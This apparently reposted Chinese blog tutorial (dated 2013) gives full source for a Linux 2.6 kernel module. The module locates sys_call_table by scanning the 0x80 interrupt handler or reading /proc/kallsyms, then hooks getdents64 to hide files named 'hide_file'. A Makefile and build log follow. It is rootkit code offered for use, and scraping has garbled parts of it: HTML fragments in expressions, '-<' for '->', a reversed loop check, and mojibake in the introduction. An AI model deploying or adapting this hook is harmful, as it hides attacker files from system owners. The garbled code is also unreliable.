您的位置:首页 > 运维架构 > Linux

Linux 2.6 劫持系统调用 隐藏进程

2013-03-22 19:05 411 查看

Linux 2.6 劫持系统调用 隐藏进程

http://hi.baidu.com/widebright/item/e64b1c09b8a557dcdce5b060

很久以前写过一个在Windows系统上面隐藏文件的驱动,所以也想试一下Linux上面如何可以实现该功能。前几天看到Linux系统调用方面的文章,刚好看到相关的东西,所以就试了一下。还真的可以。这┨炜戳撕芏嘞喙氐奈恼拢 薹ㄒ灰涣谐隼矗 旅婧芏嗟胤接玫降暮 捕际歉粗苹蛘卟慰剂吮鹑说拇 搿?总结一下吧。
1. 首先,要知道Linux系统里面有一个叫做sys_call_table这个系统调用列表的指针。其实就是很多系统调用函数的指针列表。 这个东西其实和Windows系统的SSDT几乎一样的东西,很多人也很喜欢去修改SSDT表进而做些猥琐的事情。把ssdt hook的方法用到sys_call_table上面,也可以做到替换文件查询函数,就可以做到隐藏文件。
2. sys_call_table 这个指针有很多方法可以得到的,2.4内核还是导出的,直接用就行,2.6内核上面就要自己写代码来找了,有很多方法,根据0x80中断的处理函数来搜索指令,或者读/proc/kallsyms 得到sysenter_entry 地址在搜索得到sys_call_table
3.知道sys_call_table 就可以替换相关的系统调用函数来隐藏文件了。
可以通过strace 命令来查看某个程序或者命令调用了哪些syscall 函数。
运行“strace ls” 可以看到ls命令是调用了getdents64这个函数来得到文件夹下面的文件的,所以我们只要拦截这个系统调用,然后做些处理就行了。具体实现看代码就知道了。不过很有意思的,发现Linux查找文件夹所有文件时函数返回的那个文件列表缓存结构和Windows里面采用的都是很类似的,都是一个列表结构,隐藏文件所采用的方法也几乎一成不变的移植过来使用。其实Windows和Linux很多思想或概念都是很类似的,可能一方出现某个优秀的想法也会被其他人学习使用吧。
4. 网上很多人说可以使用ptrace函数来做到同样的拦截系统调用的效果,我也去看了一下相关文档,发现ptrace更像是Linux提供给用户空间程序调试另外一个程序的接口。确实可以用来做到检测程序调用了哪些系统调用函数(不知道strace是不是就是通过这个来做的),不过用来实现拦截系统调用,可能比较复杂,至少我这么认为,还不如sys_call_table的方法来的简单。ptrace更重要的目的是调试功能,比如向另外一个进程空间读写数据等,设置调试断点等等。感兴趣的可以自己搜索一下。
5. 网上还有直接同过修改内核镜像设备的内存映射 /dev/kmem 来实现拦截系统调用的方法。有优点是在普通的用户程序里面就可以做,不用写内核模块,不过需要跟多的技巧,可以自己搜索一下。
6. Linux的编程,相对Windows来说还是很方便的,开发工具用系统里面的gcc就可以了,不想Windows要写个驱动要找半天才能弄到个winDDK来玩。如果发现问题,还可以翻看对应的内核的源代码,看具体是怎么回事,不像Windows地球人都知道是不开源的了。不过Linux相对来说文档好像不是那么多,没有人专门去写MSDN这种帮助开发者学习的文档吧,有的函数搜索半天也搜索不到一个说明,你就算直接去看内核源代码也是很不方便的。
具体的代码如下:
====================================================
#include 

#include 

#include 

#include

//sys_read sys_open等系统调用函数

#include    

#include
//flags e.g. O_RDWR , O_EXCL

#include 

#include 

#include
//get_ds() set_fs() get_fs()

#include 

#include
#include //for kmalloc and kfree

/*在内核 版本为linux-2.6.25.7的内核源代码的arch/x86/kernel/entry_32.S 文件中 可以看到 

sysenter call 和 system_call 的处理部分的源代码
-------------
# system call handler stub

ENTRY(system_call)

RING0_INT_FRAME    # can't unwind into user space anyway

pushl %eax    # save orig_eax

CFI_ADJUST_CFA_OFFSET 4

SAVE_ALL

GET_THREAD_INFO(%ebp)

# system call tracing in operation / emulation

Note, _TIF_SECCOMP is bit number 8, and so it needs testw and not testb 

testw $(_TIF_SYSCALL_EMU|_TIF_SYSCALL_TRACE|_TIF_SECCOMP|_TIF_SYSCALL_AUDIT),TI_flags(%ebp)

jnz syscall_trace_entry

cmpl $(nr_syscalls), %eax

jae syscall_badsys

syscall_call:

call *sys_call_table(,%eax,4)            这里可以得到地址的位置

movl %eax,PT_EAX(%esp)   # store the return value

syscall_exit:

LOCKDEP_SYS_EXIT

DISABLE_INTERRUPTS(CLBR_ANY) # make sure we don't miss an interrupt

# setting need_resched or sigpending

-------------------------

可以看到最后都是跳转大到sys_call_table 指定的地址上去

arch/x86/kernel/traps_32.c 中的trap_init 函数中可以看到设置

set_system_gate(SYSCALL_VECTOR,&system_call);

这是设置0x80号中断为system_call 函数来处理的

在asm-x86/hw_irq_64.h 文件中有

#define IA32_SYSCALL_VECTOR 0x80

的定义
ls

arch     crypto         include kernel       Makefile        net             scripts     usr

block    Documentation init     lib          mm              README          security    virt

COPYING drivers        ipc      lost+found   modules.order   REPORTING-BUGS sound       vmlinux

CREDITS fs             Kbuild   MAINTAINERS Module.symvers samples         System.map vmlinux.o

gdb -q vmlinux

(gdb) disass system_call

Dump of assembler code for function system_call:

0xc0104df0 : push   %eax

0xc0104df1 : cld    

0xc0104df2 : push   %fs

0xc0104df4 : push   %es

0xc0104df5 : push   %ds

0xc0104df6 : push   %eax

0xc0104df7 : push   %ebp

0xc0104df8 : push   %edi

0xc0104df9 : push   %esi

0xc0104dfa : push   %edx

0xc0104dfb : push   %ecx

0xc0104dfc : push   %ebx

0xc0104dfd : mov    $0x7b,%edx

0xc0104e02 : mov    %edx,%ds

0xc0104e04 : mov    %edx,%es

0xc0104e06 : mov    $0xd8,%edx

0xc0104e0b : mov    %edx,%fs

0xc0104e0d : mov    $0xffffe000,%ebp

0xc0104e12 : and    %esp,%ebp

0xc0104e14 : testw $0xe1,0x8(%ebp)

0xc0104e1a : jne    0xc0104f40 

0xc0104e20 : cmp    $0x147,%eax

0xc0104e25 : jae    0xc0104fca 

0xc0104e2b : call   *-0x3fcde780(,%eax,4)          这里就是sys_call_table 的位置

0xc0104e32 : mov    %eax,0x18(%esp)

0xc0104e36 : push   %eax

0xc0104e37 : push   %edi

0xc0104e38 : push   %ecx

0xc0104e39 : push   %edx

0xc0104e3a : call   *%cs:0xc03ebd44

0xc0104e41 : pop    %edx

0xc0104e42 : pop    %ecx

0xc0104e43 : pop    %edi

0xc0104e44 : pop    %eax

0xc0104e45 : testl $0x100,0x34(%esp)

0xc0104e4d : je     0xc0104e53 

0xc0104e4f : orl    $0x8,0x8(%ebp)

(gdb) x/xw system_call+59

0xc0104e2b : 0x808514ff           下面就是通过查找这个指令来得到*sys_call_table 的值
(gdb) x/xw 0xc0104e2e

0xc0104e2e : 0xc0321880              这个即是sys_call_table 的值
*/

/*

extern void * sys_call_table[];
2.6内核中 sys_call_table 的地址已经不被导出了,可以在System.map 找到,

但你要确保这个System.map 是和当前的系统内核是对应的才行

桌面/驱动学习# cat /boot/System.map-2.6.24-18-generic | grep sys_call

c0325520 R sys_call_table
运行时可以根据/proc/kallsyms 来得到正确的地址

桌面/驱动学习# grep sysenter_entry /proc/kallsyms

c0104350 T sysenter_entry
桌面/驱动学习# cat /proc/kallsyms |grep sys_call_table

c0325520 R sys_call_table
1。从 System.map 文件直接得到地址。 

例如,要得到 do_fork 的地址,可以在命令行执行 $grep do_fork /usr/src/linux/System.map 。 

2。使用 nm 命令。 

$nm vmlinuz |grep do_fork 

3。从 /proc/kallsyms 文件获得地址。 2.4版本的内核是/proc/ksyms 文件

$cat /proc/kallsyms |grep do_fork 

4。使用 kallsyms_lookup_name() 例程。 

这个例程是在 kernel/kallsyms.c 文件中定义的,要使用它,必须启用 CONFIG_KALLSYMS 编译内核。 kallsyms_lookup_name() 接受一个字符串格式内核例程名,返回那个内核例程的地址。例如: kallsyms_lookup_name("do_fork");
*/

void ** sys_call_table;   /*保存获取到的sys_call_table 指针*/
asmlinkage long (*orig_getdents64)(unsigned int fd,struct linux_dirent64 *dirp,unsigned int count); /*保存原来系统调用函数getdents64的地址*/
/*

struct linux_dirent64 {

u64 d_ino;                //inode number 

s64 d_off;                 // offset to next dirent   ,这个不知道是什么来,数值一直都很大,估计是磁盘上的偏移?

unsigned short d_reclen;   // length of this dirent 

unsigned char d_type;

char d_name[0];            //filename (null-terminated)

};

*/
// 中断描述符表寄存器结构
struct _idtr{
unsigned short limit;
unsigned int base;
} __attribute__((packed)) idtr ; //取消内存字节对齐,这样 sizeof(struct _idtr)=6,否则sizeof(struct _idtr)=8,实际执行时就会出错
// 中断描述符表结构

struct idt_descriptor

{

unsigned short off_low;

unsigned short sel;

unsigned char none, flags;

unsigned short off_high;

} __attribute__((packed));
/*通过0x80中断得到system_call 函数地址*/

void *get_system_call(void)

{       

struct idt_descriptor * idt;

void *addr=NULL;

asm ("sidt %0" : "=m" (idtr)); 

idt = (void*)((unsigned long*)(idtr.base));

printk("idt : %x\n", (unsigned int)idt);   //在virtualbox虚拟机上这个不能获取到正确的值
addr = (void*)(((unsigned int )idt[0x80].off_low) | 

   (((unsigned int)idt[0x80].off_high) < br style='font-size:14px;font-style:normal;font-weight:normal;color:rgb(69, 69, 69);' />printk("system_call entry: %x\n", (unsigned int) addr);

        //printk("size of _idtr: %d\n", sizeof(struct _idtr)); 

return   addr;

}
/* 得到 sys_call_table 列表指针 */

void *get_sys_call_table(void *system_call)

{

unsigned char *p;

unsigned long s_c_t;

int count = 0;
p = (unsigned char *) system_call;
/*

* 查找机器码得到 sys_call_table 的地址

* `call sys_call_table(, %eax, 4)` 

*/

while (!((*p == 0xff) && (*(p+1) == 0x14) && (*(p+2) == 0x85)))

{

   p++;

   if (count++ < 500)

   {

    count = -1;

    break;

   }

}
if (count != -1)

{

   p += 3;

   s_c_t = *((unsigned long *) p);

}

else

   s_c_t = 0;
return((void *) s_c_t);
}
/**

* 读取 /proc/kallsyms 文件,

* 从中解释出 sysenter 入口的地址, 成功就返回 地址,否则返回0

    # cat /proc/kallsyms | grep sysenter_entry

    c0104350 T sysenter_entry
*/

void * get_sysenter_entry(void)

{       

        void *sysenter_entry =NULL;     /*保存获取到的sysenter_entry入口地址*/

mm_segment_t old_fs;

       // int fd;

        char line[256];      

   int i = 0;

        struct file *file = NULL; //Stores information related to files opened by a process
        //配置段寄存器ds segment register

        //通知系统,以后的系统调用(read 等)参数,来自内核内存区,而不是用户内存区

        //因为默认系统会把,系统调用的参数单作来自用户空间的,会作一些检查,然后把他

        //转化成内核空间的地址。所以要通知他我们这里传的参数都是已经来自内核空间的了,他

         //才不会报错,专家的建议是尽量不要在内核中进行文件操作

old_fs = get_fs();

set_fs(get_ds());

        // sys_open 和sys_read 说是不推荐使用了 , 

        //fs/open.c 文件中有如下一句,

        //EXPORT_UNUSED_SYMBOL_GPL(sys_open); /* To be deleted for 2.6.25 */

        //从2.6.25中就不再导出这两个函数了,因为在内核中读取文件被认为是一种非常不好的办法。

        /* 下面这个方法在2.6.24版本的内核是还是可以正常工作的,下面用 filp_open 的方法来实现吧。

        fd = sys_open("/proc/kallsyms", O_RDONLY, 0);

        if (fd <= 0)

        {

               while (sys_read(fd, &line[i], 1) == 1)

               {       

                       if (line[i] == '\n')

                       {

                            line[i] ='\0';

                            i=0;

                            //到这里时,line中保存一行数据

                            if (strstr(line,"sysenter_entry") != NULL)

                            {   

                                sysenter_entry =(void *) simple_strtoul(line,NULL,16); 

                                break;   

                            }
                       }

                       if (i< 254 br style='font-size:14px;font-style:normal;font-weight:normal;color:rgb(69, 69, 69);' />                       {

                            i++;

                       }

               }

               sys_close(fd);

        }

        */
       file = filp_open("/proc/kallsyms",O_RDONLY,0);

       if (file ==NULL) return NULL;

       if (file-<f_op-<read ==NULL) return NULL;
       //每次从文件中读取一个字节到 line里面,&file-<f_pos 指定要开始读的位置,

       //可能这种方法比较地效率,不过还是可以正确工作的,也只在最开始的时候调用一次,应该问题不大

       while ( file-<f_op-<read(file, &line[i], 1,&file-<f_pos) == 1)

       {       

               if (line[i] == '\n')

               {

                   line[i] ='\0';

                   i=0;

                   //到这里时,line中保存一行数据

                   if (strstr(line,"sysenter_entry") != NULL)

                   {   

                        sysenter_entry =(void *) simple_strtoul(line,NULL,16); 

                        break;   

                   }
               }

              if (i< 254 br style='font-size:14px;font-style:normal;font-weight:normal;color:rgb(69, 69, 69);' />              {

                  i++;

              }

      }
      filp_close(file,NULL);

      set_fs(old_fs);       //还原最初的fs

     return sysenter_entry;

}

// asmlinkage告诉编译器所有的参数都是通过堆栈来传递,不要优化成使用寄存器的调用方式

///原本的sys_getdents64 在内核源代码的 fs/readdir.c 文件中定义

asmlinkage long my_getdents64(unsigned int fd,struct linux_dirent64 *dirp,unsigned int count) 



unsigned int bufLength, recordLength, modifyBufLength;

struct linux_dirent64 * dirp2, *dirp3,

              *head = NULL, //进行修改时,指向正确的列表的头条记录

              *prev = NULL; //进行修改时,指向列表中上一项记录
char hide_file[]="hide_file"; /*我们要隐藏的文件名字*/
bufLength = (*orig_getdents64) (fd, dirp, count); /*调用原本函数得到文件夹信息*/

        //printk("bufLength:%u\n", bufLength);

        if (bufLength < return bufLength p>
        /*申请内核空间*/

dirp2 = (struct linux_dirent64 *)kmalloc(bufLength, GFP_KERNEL);

        if (!dirp2) return bufLength;

/* 把已经得到的文件夹信息从用户空间复制出来*/

if (copy_from_user(dirp2, dirp, bufLength) )

{

   printk("fail to copy dirp to dirp2 \n");

                return bufLength;

}

        head = dirp2;

        dirp3 = dirp2;

        modifyBufLength = bufLength;

while (((unsigned long )dirp3) < unsigned long dirp bufLengthbr style='font-size:14px;font-style:normal;font-weight:normal;color:rgb(69, 69, 69);' />{      

                recordLength = dirp3-<d_reclen;

                //printk("length:%u ",recordLength); 

   if ( recordLength == 0)

   {

    //有些文件系统getdents函数没能正确运行 

                        break;

   }

   // 是否是我们要隐藏的文件 

   if (strncmp(dirp3-<d_name, hide_file ,strlen(hide_file)) ==0)

   {        

                        if (!prev) //整个列表中的第一个记录就是我们要隐藏的文件

                        {

                              head = (struct linux_dirent64 *)((char *) dirp3 + recordLength);

                              modifyBufLength -= recordLength;
                        }

                        else{ // 修改前一个记录长度,去掉我们要隐藏的文件纪录 

                              prev-<d_reclen += recordLength;

                              memset(dirp3, 0, recordLength );

                        }

   }

                else

                {

                        prev= dirp3;

                }

                //继续下一条记录查找

        dirp3 = (struct linux_dirent64 *)

    ((char *) dirp3+ recordLength);

}

       // 用我们修改后的文件信息覆盖原有用户空间的文件信息 

        copy_to_user (dirp, head, modifyBufLength);

        kfree(dirp2);

return modifyBufLength;

}
int init_module(void) 

{
/*

/usr/include/sys/syscall.h   有system call函数的号码定义 , 

也可以写作 SYS__getdents64 的,不过都是在# include 里面定义的宏
在/usr/include/asm/unistd.h 有system call函数的号码定义

#define __NR_getdents64   220
*/
void *s_call, *sysenter_entry;

        //采用0x80系统中断获取system_call函数地址的方法来获取sys_call_table地址

s_call = get_system_call();    

        if (s_call ==NULL) return (-1);

sys_call_table = get_sys_call_table(s_call);

printk("sys_call_table: 0x%08x\n", (int) sys_call_table);
        //采用第二种方法来根据sysenter_entry地址来获取得到sys_call_table地址

        if (sys_call_table == NULL){ 

             sysenter_entry=get_sysenter_entry();

      printk("sysenter_entry: 0x%08x\n", (int) sysenter_entry);

             if (sysenter_entry ==NULL) return (-1);

      sys_call_table = get_sys_call_table(sysenter_entry);

      printk("sys_call_table: 0x%08x\n", (int) sys_call_table);

             if (sys_call_table ==NULL)

             {

           return(-1);    

             }

        }
       //检测获取到的地址是不是正确的,

       if (sys_call_table[__NR_close] != (unsigned long *)sys_close)

       {    

            printk("Incorrect sys_call_table address.\n");

            return -1;

       }

         //替换相关函数的调用地址表 

orig_getdents64=sys_call_table[__NR_getdents64]; 

sys_call_table[__NR_getdents64]=my_getdents64;
        return 0;

}
void cleanup_module(void) 



sys_call_table[__NR_getdents64]=orig_getdents64; 

}
MODULE_LICENSE("GPL");

MODULE_DESCRIPTION("Hide file Kernel Module");

MODULE_AUTHOR("widebright");
===================Makefile内容============================
# If KERNELRELEASE is defined, we've been invoked from the
# kernel build system and can use its language.
ifneq ($(KERNELRELEASE),)
    obj-m := hook_system_call.o
# Otherwise we were called directly from the command
# line; invoke the kernel build system.
else
    KERNELDIR ?= /lib/modules/$(shell uname -r)/build
    PWD := $(shell pwd)
default:

$(MAKE) -C $(KERNELDIR) M=$(PWD) modules

clean:

$(MAKE) -C $(KERNELDIR) M=$(PWD) clean
endif

===================================================
桌面/驱动学习# make clean

make -C /lib/modules/2.6.24-18-generic/build M=/home/widebright/桌面/驱动学习 clean

make[1]: Entering directory `/usr/src/linux-headers-2.6.24-18-generic'

CLEAN   /home/widebright/桌面/驱动学习/.tmp_versions

CLEAN   /home/widebright/桌面/驱动学习/Module.symvers

make[1]: Leaving directory `/usr/src/linux-headers-2.6.24-18-generic'

桌面/驱动学习# make

make -C /lib/modules/2.6.24-18-generic/build M=/home/widebright/桌面/驱动学习 modules

make[1]: Entering directory `/usr/src/linux-headers-2.6.24-18-generic'

CC [M] /home/widebright/桌面/驱动学习/hook_system_call.o

Building modules, stage 2.

MODPOST 1 modules

CC      /home/widebright/桌面/驱动学习/hook_system_call.mod.o

LD [M] /home/widebright/桌面/驱动学习/hook_system_call.ko

make[1]: Leaving directory `/usr/src/linux-headers-2.6.24-18-generic'
然后用insmod命令加载驱动,就可以隐藏 hide_file开始的文件,在ubuntu8.04上面测试通过
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: